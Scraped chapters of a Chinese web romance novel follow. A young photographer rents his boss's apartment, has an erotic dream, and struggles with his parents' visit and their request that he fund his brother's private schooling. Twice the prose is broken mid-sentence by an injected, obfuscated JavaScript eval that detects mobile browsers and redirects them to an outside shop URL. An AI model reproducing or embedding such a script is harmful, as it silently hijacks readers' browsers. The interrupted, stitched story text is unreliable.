也是他第一次租房不清楚,在网上找了一个小中介,没想到就出了这种事。 季然提出要退剩余的房租和押 金中介说要向领导请示。明明是他们的问题怎么他拿回押金都这么费劲。季然把手机丢在一旁心情有些烦躁。 “你还好吗?”寒深目光有些担忧。 “我没事”季然努力挤出个轻松的笑“如果不是房子被拆了我也不能住进这么漂亮的地方。” 寒深依旧担忧地望着他。 季然脸上的笑容有些挂不住了。 他从沙发上起身寒深却抓住了他手腕。寒深几乎没用什么力气季然身体却变得异常敏感大脑一阵轰鸣。 季然求饶地看向寒深眼睫无措地颤抖着:“您能不能放开我……” 寒深眼神更深了担忧被某种季然不熟知的情绪取代他握着季然的手收紧西装下的肌肉变得紧绷。 季然被他弄疼了发出了很小声的吸气声。 寒深这才重新松开季然语气冷静道:“抱歉你去洗澡吧。” 季然感觉寒深要说的不是这个但他问不出来他点点头拿着睡衣进了浴室。 光上门后季然在浴室里哭了出来。 细密的水珠敲打着他后背季然赤脚蹲在地上 他好想有个人能抱抱他。 强壮的有力的甚至是稍微疼痛的他想有人弄疼他禁锢他命令他让他喘不过气再也无暇顾及其他的事情。 半个小时后季然洗完澡出来了。 房子装了地暖他只穿了一件夏季T恤和运动裤眼睛有些红但他脸颊、手指都被热水浇得红通通的不太容易看出他哭过。 寒深还在门外季然不知道他为什么还不离开但这是人家的房子他不敢赶人离开也不敢晾着他又拿着手机回到了沙发旁。 他不想再和寒深说话了用收拾行李的方式逃避交流。 但他物品本来就少也没打算拆行李箱翻来覆去折腾也花不了多少时间。 寒深以为他是拘谨主动说:“我不住这边弟弟也暂时不会回来家里的衣柜你都可以用。” 季然动作一滞又笑着摇头说:“谢谢您的好意但我明天要走用不上柜子。” 寒深:“我正想和你说这个。” 季然心脏突然跳漏了一拍。 寒深说:“这套房子我可以低价租给你。” 季然双手胡乱地忙碌着他也不知道自己在收拾什么只有胸腔内的心脏跳得越来越快。 季然不想让自己反应显得太距离他尽量 平复自己的语气:“你弟弟不会介意吗?” “我问过他的意见,他说可以。”寒深给季然看聊天记录,又说,“房租会打入他的账户,这对他来说也是一笔收入。” 季然有些心动,他本来就打算自己独居,而且这套房子的装修他也很喜欢,又距离公司非常近。 唯一有问题的是他的钱包,这样的位置和装修,价格肯定不算便宜。但他最近收入也还可以,寒深还给他涨了工资。 季然试着问:“月租多少?” 过了一会儿,寒深说:“5000。” 季然更纠结了。 这是一笔他付得起的房租,而且能极大程度地改善他的居住环境。而且这套房子装修很简单,有大片白色墙背景,他如果稍微布置一下,连寒深都看不出来这是哪里。 如果他租房的话,他家人过来也不用住酒店了,还能省下几千的住宿费。 季然太心动了,又总觉得自己是占了寒深的大便宜,还有他那位素未谋面的小弟弟。 仿佛是看出了他的犹豫,寒深又说:“你如果不想长租,也可以把这当做落脚点,等找到适合的地方再搬出去。” 季然于是答应下来,给寒深那位弟弟转了一个月的房租和押金。 等季然收拾完已经是后半夜,经历了一整天的大喜大悲,他人已经很困了,但他不太想睡。 初到一个陌生的环境,他还有些茫然和警惕。 “Julian,”寒深问他,“今晚需要我留下吗?” 季然歪了歪头,似乎有些不解。 “别误会,我是说,你需不需要我留下来陪你?”寒深说,“毕竟今天发生了这种事。” 季然张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782725|145072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了张嘴,屡次想拒绝,可话到了嘴边却变成:“可以吗?” “嗯,”寒深声音很温柔地说,“只要你愿意。” 季然呆呆地看了他好几秒,突然转身冲进卧室,过了一会儿,又抱了个枕头跑出来。 寒深愣了愣:“你这是干什么?” “我睡沙发啊。”季然很开心地靠着枕头,把自己缩进了被窝里。 沙发宽大,完全可以容纳季然。但寒深还坐在另一边,季然于是曲起膝盖,尽量不让自己碰到寒深。 寒深隔着毛毯戳了下他脚指。 季然难以置信地抬起头,听见寒深说:“去床上睡。” 季然一动也不动:“这里就一张床,总不能让你这个主人睡沙发吧。” 寒深:“现在你才是这个房子的 主人。” 季然才不听,寒深这么高,又这么大,睡沙发半夜都要滚下来。 他继续说:“而且我不喜欢大的床,小一点的地方会让我更有安全感。” 他从小就睡惯了小床,宿舍的上下铺,出租屋的单人床,骤然躺在一米八的大床上,他觉得周围一片空空荡荡,怎么也填不满。 “真不去?”寒深问。 季然很固执地摇头。 寒深便再抱了床被子丢到沙发上,叮嘱季然晚上别感冒了。 季然抖开被子,开心地缩进了被窝。 他是笑着入睡的,但有些奇怪的是,他睡着后梦见了妈妈。 季然梦见自己小时候发高烧,妈妈背着他走了十里山路去镇上治疗。 他那次烧得很严重,到了医院后医生说要输液,季然第一次输青霉素,做皮试的针刺破他皮肤,他手腕内侧鼓起一个小包,痛的要命。 但因为妈妈在,所以季然全都忍了下来。 冰凉的液体汇入他血管,季然昏昏沉沉地睡着了。 再次醒来,他退了烧,还在床边看见妈妈。 哪怕已经过去了很多年,童年的记忆大多模糊不清,这一幕却依旧清晰地留在季然脑海里。 那时候正是夏天,风把树叶吹得沙沙作响,医院墙壁老旧,泛着各种陈年老渍的黄。 没有关窗,于是有风吹了进来。 妈妈就坐在床边,抓着他没输液的那只手,见他醒来,很开心地说:“你醒啦?你刚才吓死我了。” 季然用力点头,曾一度觉得自己是天底下最幸福的孩子。 可后来妈妈外出打工,又和爸爸一起生下了弟弟……他们在新的城市生活,偶尔想起老家的大儿子,也只剩下冷漠和严厉。 发烧很难受,但对季然来说是一件值得开心的事情。他曾绞尽脑汁,把自己过去20年记忆反复搜寻,却再也找不出第二幕类似的场景。 当一次又一次的失望积攒,季然了解到这是原生家庭的伤痛,他也曾一度想要做出切割。 可偏偏又存在这这种温馨的片段,让季然觉得父母还是爱他。 又或者,他们曾经爱过他。 可这种爱就像是沙里淘金,他和淘金客都相信下面有,于是他们拼命地挖啊挖,可是却怎么挖也挖不到…… 后半夜,寒深突然听见客厅传来窸窸窣窣的声音。 季然做了噩梦,他发出一阵阵痛苦的呓语,汗水把头发都打湿了。 寒深打算叫醒他,他刚碰到季然肩头,季然却一把抓住他的手,开始喊他妈妈。 寒深身体有片刻僵硬,但终究没有挣脱季然。 不过这样的情况并没有持续太久,可能意识到向母亲求助并没有作用,后来季然连妈妈也不喊了。他松开寒深的手,咬住下唇,无助地蜷缩起身体。 不想让他伤害自己,寒深把手伸进季然嘴里。 季然却没有咬他,他脑袋小心翼翼地贴过来,像猫咪一样蹭着寒深的手心。 · 季然再次醒来,发现自己躺在卧室的大床上。窗帘被人拉上了,只有缝隙里透出一丝光。 季然动了动身体,不太想起床。 他睡得太舒服了,精神懒洋洋的,浑身骨头都睡软了。 可惜还有工作,季然伸了个懒腰起床,在床头柜上找到了自己手机。 闹钟被人关了,时间已经是早上11点。 床头柜上摆着一张手写卡:放你一天假,记得好好休息。 作者有话要说 明天上夹子,更新推迟到23点~! 本章随机掉落100个红包。 第 26 章 他还以为寒深要摸... 第26章他还以为寒深要摸 季然又重新躺了回去,而且,这是寒深睡过的床。想到这里,季然心脏就感觉一阵酥麻,像是被人轻轻捏住了。 被窝里还留着寒深的味道,是季然圣诞节送的那款香水,不过味道已经很浅了。季然夹住被子吸了吸,在床上滚来滚去。 突然间,他后背撞到一堵又大又软的东西,非常有弹性。 季然僵了一瞬,连呼吸都放轻了,他脑海中冒出一个诡异的念头,心道寒深不会在床上吧? 季然打开窗帘一看,却发现床上放着个巨大无比的虎鲸玩偶,比季然还高,还要大,摸起来手感非常好。 他隐约记得昨晚收拾时没看见这个玩偶,季然摸了两下就不敢再碰了,拍了张照片发给寒深。 [Julian]:这个是您落下的? [Samuel]:给你的。 [Julian]:谢谢,但是为什么……? [Samuel]:你不是说睡大床没有安全感?你可以把它当成安抚玩偶。 安抚玩偶? 季然愣了下,有些茫然地看向这个大家伙。 虎鲸脸颊侧对着他,娇憨中带着一股凶气,凶萌凶萌的。 季然伸手拂过虎鲸柔软的绒毛,犹豫了一会儿,伸手抱住了虎鲸。 这种感觉有些神奇,这是季然拥有的第一个玩偶。 农村小孩儿没有这种华而不实的东西,后来季然自己挣钱了也过了需要安抚的年纪。 可寒深却送了他。 一个可以提供温暖、满足、安全感的物品,这本来是该在婴儿时期由自己父母提供的,却在多年后被一个男人给予。 季然用力抱紧了虎鲸。 玩偶触感很好,但依旧比不上被真人拥抱的感觉。 毫无预兆地,季然又想起拍家具广告时,虎鲸从身后抱住他的那一幕。季然有些脸热,觉得自己道德都变得低下了。他明明不想和虎鲸有什么关系,可又在背地里回味虎鲸的拥抱。 都怪寒深,为什么要送他虎鲸玩偶啊! 季然把虎鲸玩偶丢到一旁,有些懊恼地起了床。 说起虎鲸,季然又想起了网上的事情,他重新登录账号。 好消息是因为发现及时,季然私人信息泄露还在可控范围内,而且流传出去的都被虎鲸压了下去,除了住址,他名字、工作、学校都没有暴露。 警方调查也有了结果,警方通告 称给他寄快递的人是网络ID叫小企鹅的网红。他从季然室友那里购买私人信息并且非法传播扩散。 季然这次不想再忍了决定依法追究小企鹅责任。 但他没想到这件事虎鲸已经做了。他不仅起诉了小企鹅而且还发布了一则神明用词相当严厉。 【@虎鲸: 本人严肃申明所有网友不得以我的名义骚扰他人。否则将会和@小企鹅一样付出法律代价。 @上班哪有不疯的受到我粉丝的骚扰这件事情我亦有责任。我身为公众人物却没有及时督促粉丝没有给大家树立一个积极向上的榜样。 作为惩罚本账号至今所有视频产生的收益均将捐赠给公益组织欢迎监督。 此外本账号禁一切男友粉、女友粉。不接受异议不喜可自行取关。】 通告一出霎时引起一片轩然大波。 虎鲸那群庞大的男友粉、女友粉率先炸了。有骂他端起饭碗骂娘的也有骂他欺骗粉丝的。 但除了一小部分极端粉大部分网友还是正常的。他们也会在评论区叫一嗓子老公但更像是凑热闹不会真幻想自己就是虎鲸对象。 [被骂爽了这是可以说的吗?] [Daddy态度好强势更爱了呢!!] [赞了赞了我早就受不了那群极端男友女友粉了叫一叫老公也没事儿可非要排挤别人搞各种小动作真以为Daddy是你们一个人的Daddy?] [就是我就想欣赏一下帅哥帅哥有没有对象结不结婚都无所谓] [该说不说有对象反而更刺激了] 虎鲸掉了一波粉但因为态度强势有担当 至于季然虎鲸这一波操作吸引了所有热度已经没人再讨论他的隐私了。 季然松了口气也多少有些羡慕他也想像虎鲸这样强势有勇气。 虽然这件事因虎鲸而起但对方处理及时也很负责季然私信他说了声“谢谢”。 本来没期望得到回复不料对方对他说:那我还可以找你拍视频吗? [上班哪有不疯的]:? [虎鲸]:不可以吗? [上班哪有不疯的]:最近忙没空。 [虎鲸]:那我等你有时间。 季然没再回复他暂时不太想和虎鲸扯上关系了而且他工作确实忙。年底事情本来就多他爸妈也要来了他还得腾出时间带他们玩儿。 季然放下手机,打算给自己弄点儿吃的。这套房子有一套非常高档的厨具,季然打算买菜自己下厨,却突然听见一阵门铃声。 季然动作一滞,有些警惕地抬起头。 寒深来肯定不会按门铃,那会是谁?难道他这里的住址都被泄露了? 门铃声响了三次后停了下来,季然以为对方离开了,却不料下一刻,门口传来输入密码的声音。 难道是寒深?季然有些不确定,迅速躲进了躲进卧室。 “您好,有人在家吗?我寒总助理Luke,我把日用品带来了。 竟然是Luke,季然松了口气,准备出去打招呼,手挨着门把手时又缩了回来。 等等,Luke知道这套房子住的是谁吗?万一他不知道,自己出去多尴尬? 难道要向Luke解释,说自己租了领导的房子?那势必又要牵扯出别的东西。 季然不想让自己和寒深的关系在公司里变得尴尬,犹豫再三,还是决定躲在房间里。 门外传来脚步声,然后是冰箱开关声,又过了一会儿,季然听见防盗门关闭的声音,似乎是Luke离开了。 又过了两分钟季然这才开门出来,储物间里一下多了许多东西,各种生活物品一应俱全。冰箱里还有蔬果,肉类,牛奶,速冻食品。桌子上放着一个外带盒,季然伸手摸了下,竟然还是热的。 这些都是买给他的?寒深是什么神仙房东啊。 5000块包房租水电物业,他简直就是在做慈善。 季然搜了同小区同户型,出租价格基本要一万多,这个装修估计还能再加价2千。季然还以为自己5000块也不算少了,没想到只是房租的一个零头。 他知道寒深不在意这点儿钱,但对方愿意象征性收他一些房租维护季然的尊严,季然很是感激。 吃完午饭后,季然收拾好屋子,他坐在沙发上,呆呆地看着客厅的光影。房子太好看了,他能在这儿坐一天。 又过了一会儿,季然有些困了,就把虎鲸大玩偶抱到客厅,躺在它怀里睡了过去。 迷迷糊糊中,季然感觉有人在抚摸他头发,然后是脸颊,后来又顺着耳朵摸他耳后。 “别……季然怕痒,把脑袋转到一侧,却让这只手顺势往下,动作越发放肆起来…… 季然要疯了,他从来没有被人这么对待过,整个人难受又委屈,同时还有一种奇怪的痒。他不自觉地哼唧,连眼泪都要出来了。 可这依旧没有让对方停手 更可怕的是季然察觉有什么东西握住了他脚腕粗糙的手掌顺着小腿一路往上。然后停在了他的【——】部位。 季然害怕得哭了出来然后他终于看清了他身上出现了四只手一双来自寒深一双来自虎鲸。 季然大脑轰鸣整个人都呆住了。 他们的动作依旧还在继续季然却什么反抗也做不出来了。 他身体仿佛奶油一般融化变软眼前的画面开始模糊意识逐渐涣散季然耳边出现某种遥远空灵的声音。原来是他的哭声。 不知什么时候季然醒了过来。 客厅阳光充沛一束阳光照亮他平坦而柔软的腹部。 季然呆呆躺在虎鲸玩偶怀里T恤不知什么时候被他撩了上去运动裤湿湿的里面一片狼藉…… 他都干什么了?他怎么会做这种梦? 季然绝望地捂住脸整个人红得像是一只煮熟的虾米。 季然洗了个澡又非常心虚地把衣服也洗了他生气地把玩偶关进房间收到了寒深发来的消息。 寒深说下班后想过来一趟问季然方不方便。 季然当然不可能拒绝可他刚才做了这种梦整个人心虚不已 寒深有些意外但同意了说大概7点过来。 季然询问了几道寒深喜欢的菜色开始准备晚饭。 他租房时不做饭主要是没时间也懒得置办厨具。但季然手艺其实不错不到10岁时他就会踩着板凳炒菜了农忙时节大人们在外面忙碌家里也是季然做饭这个习惯一直持续到他高中毕业。 季然开始处理食材或许是不想为难他寒深只点了一道红烧肉季然根据Luke带来的食材额外又加了三道菜分别是炖牛肉蒜蓉虾蔬菜沙拉。 炖牛肉最费时间季然先把牛腩拿出来洗净切分炒糖色后放进珐琅锅炖煮。 然后又开始准备红烧肉虾容易老季然打算等寒深过来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782726|145072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再下锅。 大约晚上6点半门外传来门铃声然后是开门声。 季然连忙放下锅铲出来看见寒深刚进屋。 季然:“你来了?” 寒深:“我回来了。” 两人异口同声然后目光触碰又不约而同地愣了一下。 寒深穿着一件深灰色羊绒大衣还带着室外的冷意。他安静地站在玄关手里带着一束花一瓶酒像是来朋友家做客 又仿佛是新婚丈夫回家给妻子带的日常礼。 季然只穿了一件薄卫衣他身上系着一条鹅黄色围裙赤脚踩着温暖的地板头发似乎刚洗过看上去柔软得要命。 他们安静地注视着彼此谁都没有说话。 直到厨房传来一阵油爆声季然这才猛然惊醒连忙赤脚跑了回去。 时间再次流通寒深把花和酒放在餐桌上脱掉大衣、西装外套只穿着衬衫和马甲过来。他问季然:“需要帮忙吗?” 衣服一脱显得寒深身材更好了。 季然又想起了下午做的那个潮湿、眩晕、让人难为情的梦。他低头不去看寒深耳朵有些红:“那你把排骨端出去吧。” 寒深看了一圈有些疑惑:“排骨在哪里?” 季然这才意识到自己说错了闹了个大脸红连忙纠正:“没有排骨是炖牛肉。” 寒深听话照做又趁着季然炒虾时把沙拉办好了晚上7点二人准时吃上了四菜一汤。 寒深带了酒度数不高喝起来酸酸甜甜季然还算喜欢。 这不是季然第一次和寒深用餐了之前他们出差也经常一起吃饭但在家里这种私密场合又有一种不一样的感觉。 而且他发现寒深真的吃得好多啊 见季然吃少了还要说他:“你太瘦了多吃点肉。” 季然冷哼一声心道你以为我为什么会这么瘦? 天天加班作息紊乱能长胖就怪了。 但他不敢当着寒深的面这么说只是附和道:“我尽量。” 季然做得稍多心道吃不完的还可以冷冻当自制预制菜没想到最后只剩下一点儿汤汁连泡饭都不够。 季然被寒深的食量震惊了。 他做了两斤牛肉一斤五花肉还有两斤大虾这几乎是季然一周的肉食寒深竟然一顿就吃完了。 而且他吃了这么多肚子怎么还是平的?下面倒是尺寸颇大…… 等等他在看哪里?! 季然还没来得及收回视线就被寒深逮住:“看什么?” 季然有些心虚地移开视线:“您食量挺大。” 寒深把碗筷放进洗碗机说:“我消耗大还健身。” 看着对方饱满的肌肉季然隐隐有些羡慕等他工作不忙了他也要开始运动。 吃完晚饭寒深把季然叫到大门口让他想一个新的密码。 季然愣了愣:“想密码?” “ 换密码锁,”寒深说,“我把其他密码和人脸识别都删了,以后只有你能开门。” 原来寒深过来是给他改密码…… 季然心脏暖暖的,有一种被人重视的感觉。 改完密码后,寒深又问了季然之前租房的情况,说有需要可以找他帮忙。 季然说都处理好了,中介退了他押金和剩下的房租。 寒深便没有再问,直到离开前,他穿好大衣,却在玄关处停了下来,回头说道:“白天你出去了?Luke中午过来,说他没看见你。” 季然:“……” 他有些尴尬:“我不小心躲起来了。” “为什么?”寒深说,“我们又不是什么见不得人的关系。” 嗯?什么意思? 什么见不得人的关系?他们又没有见不得人! 虽然他做那种梦,确实非常见不得人。 季然支支吾吾,完全不知道该说什么。 “别紧张,我开玩笑。”寒深笑了一下,季然看见他抬起右手,往他的方向伸来。 季然莫名有些心跳加速,身体微微往前倾一倾。 但寒深的手却停在了半空中,转向拿起鞋柜上的车钥匙,转头说道:“我走了,再见。” “哦,”季然呆呆地看着寒深,也跟着说,“再见。” 寒深却没有立刻离开,依旧站在门口注视着季然。季然抿了抿唇,也抬起脑袋看着他。 狭窄的玄关,有什么东西在发酵。 但最终,寒深后撤一步,说:“我走了。” 大门在眼前关闭,季然嘴唇微张,呆呆看向寒深离开的方向,有些惊讶,又有些失落。 刚才他还以为,寒深是要摸他脑袋…… 作者有话要说 第 27 章 小小的,珍贵的,... 第27章小小的,珍贵的, 一周后,季然在高铁站接到了长途跋涉而来的家人们。 季然最近挣了不少钱,本来打算给他们买机票,可爸妈舍不得钱,提前一晚住到亲戚家,早早搭了高铁过来。 季然接到人时已是傍晚,父母精心打扮过,一人提了一个行李箱,看起来和城里人没什么区别。 母亲小声告诉季然,行李箱里装了两只土鸡,是她从老家特意带来的。 季然有些意外:“你们还养鸡了? “老家叔叔养的,妈妈说,“就住我们老房子的叔叔,小时候他还带过你呢。我们给他买了只鸡,他又送了你一一只,都是乡下喂的粮食,城里买不到。 沪市想吃什么买不到,就他小区门口生鲜超市卖的土鸡,每一只鸡都有溯源码,从小到大吃什么写得清清楚楚。 但毕竟是家人大老远带来的心意,季然没有说这些扫兴话,他谢谢了妈妈,又问两只鸡重不重,帮忙接过了行李箱。 因为有地铁直达,季然就没打车,带他们去坐了地铁。 季然教他们用手机刷卡进站,父亲反复询问了两遍,成功进了闸机。母亲却被卡在外面,试了几次都不得其法,一脸焦急地停在原地。 “怎么这都不会?父亲开始骂她,季然过去重新打开她手机二维码。 【滴——】 闸机重新打开,母亲连忙进来,有些尴尬地向季然抱怨:“手机好麻烦,你怎么不给我买一张弟弟的公交卡。 季丞轩没手机,季然给他准备的是公交卡。 季然说:“怕你忘带卡,手机方便,你多试几次习惯就好了。 母亲没再说话,紧紧跟在父亲身后,季丞轩背着书包,对着地铁站的游戏广告看得出神。 “别看了,快过来,车马上来了。父亲开始叫他。 季丞轩不情愿地跟了过来,又对季然说:“哥,我真羡慕你,我最喜欢的战队就在你城市。 季然没注意那个广告,问他:“什么战队? 季丞轩就开始和他说自己喜欢的游戏,还说他上个赛季自己打上了星耀,表情相当得意。 父亲不悦地瞪了季丞轩一眼:“天天就知道打游戏,读书也不认真,我看你早晚要废了。 季丞轩做了个鬼脸,已经对这种训斥习以为常。 小学生哪儿有这么多时间玩游戏?还能单排上星耀? 季然虽然疑 惑,但不想在公众场合让弟弟难堪,只是说:“车来了,先上去吧。” 一路无话,直到他们下了地铁。 地铁站出口是沪市最好的街区之一,季然本想和他们介绍这是张爱玲故居,这是法租界旧址,可出地铁站的那一瞬,他就察觉到了父母的不自在。 父亲故作镇定地打量着周围,母亲牵着弟弟跟在他身后,季然能明显感觉到他们的窘迫。进入小区后,父母显得更不自在了。连平日里喜欢指点江山的父亲,也开始变得沉默。 季然心里有些不是滋味儿,但他没表现出来,直接带父母回了家。他向他们介绍房间的布局,又安排父母住主卧,他买了张充气床垫,打算和弟弟一起睡书房。 父亲看了眼大床,过了好半天才憋出一句:“你住得起这么好的房子?” 季然解释这是自己老板便宜租给他的,他算是帮老板看房子。 “这倒是个主意。”仿佛是无所适从,又或者是想要显得自己厉害,父亲又开始发表他那些不怎么高明的评语。 但这次季然没理他,时间不早了,说要带他们出去吃饭。 招待家人吃饭是件困难的事情,太贵的不吃,没吃过的也不吃,他们大老远来沪市,竟然选了一家家乡菜。 季然让他们点菜,他们不点,季然刚点了三个菜,他们就说够了。沪市有自己的货币单位,他们嫌这里的东西太贵了。 三道菜很快就吃光了,季然打算再加,父母非说自己吃饱了,死活不让他点。可他分明看见爸爸就着汤汁又吃了一碗白米饭。 季然当时就有点儿受不了了,他强压下心中的酸涩,说自己没吃饱,又点了两个菜。这两个菜也都吃完了。 离开餐厅后季然心情有些复杂,这些年来他也怨过父母,但每当看到父母这样,他又觉得自己真不是个人。 父母只是时代下的牺牲品,他无权指责他们什么。 时间还早,季然带他们去了外滩,眼前是黄浦江,对面就是东方明珠。直到现在,紧绷的父母才终于笑了,拿出手机开始拍照。季然给他们拍了标志性的游客照,因为他是摄影师,所以家庭合照里没有他。 周末两天,季然带他们去了浦东和迪士尼,还在迪士尼给自己过了生日。 季然以为自己会很开心,可当他在迪士尼拿到生日贴纸,却也觉得没什么意思。 自从父母过来后,他整个人就变得很紧绷,担心父母会挑刺,担心听到一些自己不想听到的话题。 哪怕他表面上客客 气气地带他们玩儿,可他知道自己心中竖起了一根根硬刺,这是一种本能性防御,只要一和父母处在同一空间,他就随时随地都很警惕。 季然以为爸妈会为难他,可他发现自己想错了。这两天时间里,父母都非常和善,他让去哪里就去哪里,甚至还会关心他,心疼他,就仿佛世界上每一个普通的家人。 一直渴望的关爱突然降临,季然却变得无从适应起来。他感到浑身不自在,甚至开始反思,难道是自己太敏感?其实父母对他挺不错,是他自己太不知好歹了? 父母唯一的抱怨是物价贵,奶茶30一个,面包50一个,迪士尼火鸡腿85一只,去餐厅里随便吃一顿人均就超200,连路边吃碗小面也要2、30块。 “再也不去了,回来后母亲向季然抱怨,“怎么这么贵,外面吃一顿自己做饭可以吃一周,接下来我们就在家里吃。 她又提起从家里带来的土鸡,说要做给季然补身体。 季然说不用,他想报个团让爸妈去周边古镇玩,毕竟他上班后就没功夫招待他们了。可爸妈觉得费钱,说什么也不愿意去,季然也就不管他们了。 只是每天上班前,季然会在网上下单,让人把菜送到家里。 妈妈看见账单后又说贵,说她自己去菜市场买,结果被小区门口生鲜超市的物价吓得什么也没敢买 季然依旧天天加班,回来都是后半夜,爸妈早休息了,只有第二天早上才能见面。 又是一天加班回家,这次季然却在沙发上看见了他母亲。 她似乎已经睡着了,又被季然弄出的动静惊醒,一脸困倦地问:“你天天都这么晚下班? 季然说是,又问她怎么还不休息。 “我在家又没事,炖了鸡汤给你喝。妈妈从锅里盛出一碗汤,递给了季然。 季然有些震惊这突如其来的温情,他不熟练地接过碗,说了声谢谢。 妈妈催促他喝汤,语气慈祥起来:“你这工作也太辛苦了,天天加班这么晚,有加班费吗? 季然说没有,只有一整天加班才会额外给工资。 妈妈又问:“这边物价这么高,你自己在外面也要花很多钱吧? 季然说还行,但不知为什么,他没有提自己涨薪的事情。 妈妈露出心疼的表情:“你自己都这么辛苦,不然你别给我们钱了。 季然愣了下,一瞬间心情有些复杂,有对于母亲突然关心的无所适从,也有不想欠他们恩情的两清。 他摇 头,说:“没事,也不差你们这点。 母亲就不说话了。 安静下来,季然才听见书房里的阵游戏声音,他皱眉:“季丞轩怎么还在打游戏? 母亲似乎习以为常,说:“他天天这样的,就打游戏什么都不做。 “他不是未成年吗?季然早就想问了,“未成年只有周末能玩三个小时吧。 “这哪儿能难倒他,你弟弟聪明着呢,母亲似乎埋怨,又似乎骄傲地说,“他早就学会拿我们身份证玩了。 她甚至还能用这么轻松的口吻说出来。 季然难以置信:“你怎么不管他? 母亲:“他要打,我有什么办法? 季然:“你要管啊。 母亲:“说又说不听,打又不让打,你让我怎么管? 季然突然有些生气:“你不管,你生他做什么? “我怎么就不管了?母亲委屈起来,“我天天给他洗衣做饭,他想玩什么就玩什么,我家里收拾得比别人家都要干净,我怎么就不管他了? 管孩子也不是这样管的。 但大晚上的,季然不想吵架,走到书房对季丞轩说:“手机给我。 季丞轩埋头游戏,对他的说辞置之不理。 “季丞轩,季然语气冷了下来,“手机给我。 他上班好几个月,已经不是学生时代的乖乖生,染上了一些成年人的锐利和冷漠。 季丞轩终于回应了他:“等我打完这盘。 说完,又对手机那头骂了句:“我哥要收我手机了,我上早八。 季然火气蹭一下就上来了,他伸手要抢,又猛地惊醒,明明自己小时候最讨厌父母毫无征兆的暴怒,怎么现在自己也变成这种人了? 他守着季丞轩玩完最后一局游戏,在对方依依不舍的目光中收缴了手机。 季然把手机还给母亲,说:“以后手机别给他玩儿。 母亲就很凶地吼:“季丞轩,以后不许用我的手机打游戏!听到没有! 季然以为这件事就这样过去了,没想到第二天回家,他又发现季丞轩在刷短视频。季然一看后台信息,他们白天没出门,季丞轩竟然看了六七个小时的短视频。 季然难以置信:“你怎么又把手机给他了? 母亲很委屈:“他要玩,我有什么办法? 季然:“寒假作业呢? 季丞轩:“我有数。 母亲说:“他都在开学前一周 写,3天就写完了。” 季然冷着脸拿走手机,冷声道:“以后不许给他玩游戏,也不许看短视频,督促他每天写两个小时作业。” 季丞轩哇地一声叫了起来,敦实的身体朝季然冲来:“你不是我哥,你是恶魔!我要代表月亮消灭你!” 现在的男孩儿营养好,季丞轩还不到12岁已经快有一米七了,又有点儿微胖,小钢炮一样冲过来,季然一下被他撞得后退好几步,差点儿撞上茶几。 “哭也没用。”季然揪着衣领把人推开,季丞轩哭得更大声了。 爸爸依旧在卧室,从不参与他们的争执,仿佛他挣钱养家,已是天大的恩赐。 第二天,季然找了个地陪,带着一家三口把各大博物馆、动物园、天文馆、水族馆都玩了个遍。 三天逛了6个展馆,季丞轩再也不叫嚷着要打游戏了,回来后每天累得吭哧吭哧,睡得像只小猪仔。 别的熊孩子季然才懒得管,但这是他亲弟弟。 季然和父母认真谈了一次这个问题,让他们督促他学习,不要给他手机,别让他玩游戏,刷短视频。 父亲依旧不发表意见,母亲刚开始说好,可过了一会儿又说:“可不给他手机,他一直就烦我。” 季然耐着性子交流:“孩子就是这样,你们得培养他的学习习惯。他马上就要初中,不能再这样下去了。” 母亲却说:“我们当初也没管你,你不也考上了京大?” 那是因为我自己争气。 季然很想这样说,可又意识到太伤人了,他忍了下来,解释道:“现在时代不一样了,你得管他学习。我之前给他买的学习机呢,你每天让他写一个小时的作业。” “他根本不看,我看你弟弟就是不聪明,”妈妈语气有些嫌弃,“他从小成绩就没你好,给他请了补课老师也没用,还浪费几千块钱,都不知道他以后怎么办。” 言辞中似乎颇有暗意。 季然没搭腔,他觉得可能是自己理解错了。 季丞轩又喊了起来,说他不学他要打游戏,母亲又开始骂他。季然有时候觉得,他妈妈只是骂给他听的,不然怎么他一转身,季丞轩又把手机拿了过去 但他该说的都说了,也在定期向家里提供资金,季丞轩不是他生的,他做这么多已是仁至义尽。 却不料第二天,父母一脸严肃地找到他,说要和他商量一件事情。 季然问什么事,母亲斟酌再三,说是想把弟弟送到私立中学。 “私立中学 ?”季然怀疑自己耳朵出了问题,“我们这种家庭,上什么私立中学?” 母亲却有不同的考量,一一分析道:“你弟弟的成绩你也知道,考不上重点中学,去学校也只能去普通班,你刘阿姨说可以读市里的私立中学,据说上重点高中的概率高很多。” 季然表情不太好:“花费呢?” “有点儿多。”母亲欲言又止。 “多少?” “一年10万学费,算上生活费和住宿费,可能要14、5万。” “一年十五万?”季然怀疑自己在听天方夜谭,“你们哪儿有这么多钱?” “这不是想问问你的意见,”母亲面露难色,又有些期待地说,“你现在也工作了,听说你工资挺高,你看能不能支持一下你亲弟弟……” 季然没吭声。 母亲更尴尬了,又仿佛是赌气一般说:“实在不行,我们考虑把城里那套房子卖了,回乡下住。” 季然觉得她真是天真得可怕,他问母亲:“爸爸工作怎么办?你们养老又怎么办?” 母亲支支吾吾:“这不是还早吗?” “你也知道还早?”季然几乎克制不住自己的怒火,“季丞轩才初中,你们就要倾家荡产供他上私立中学?可他考不上重点高中怎么办?考不上重点大学怎么办?后续你们还打算为他花多少钱?” “可总要读书啊。”母亲脸上又露出了哀苦的神情。 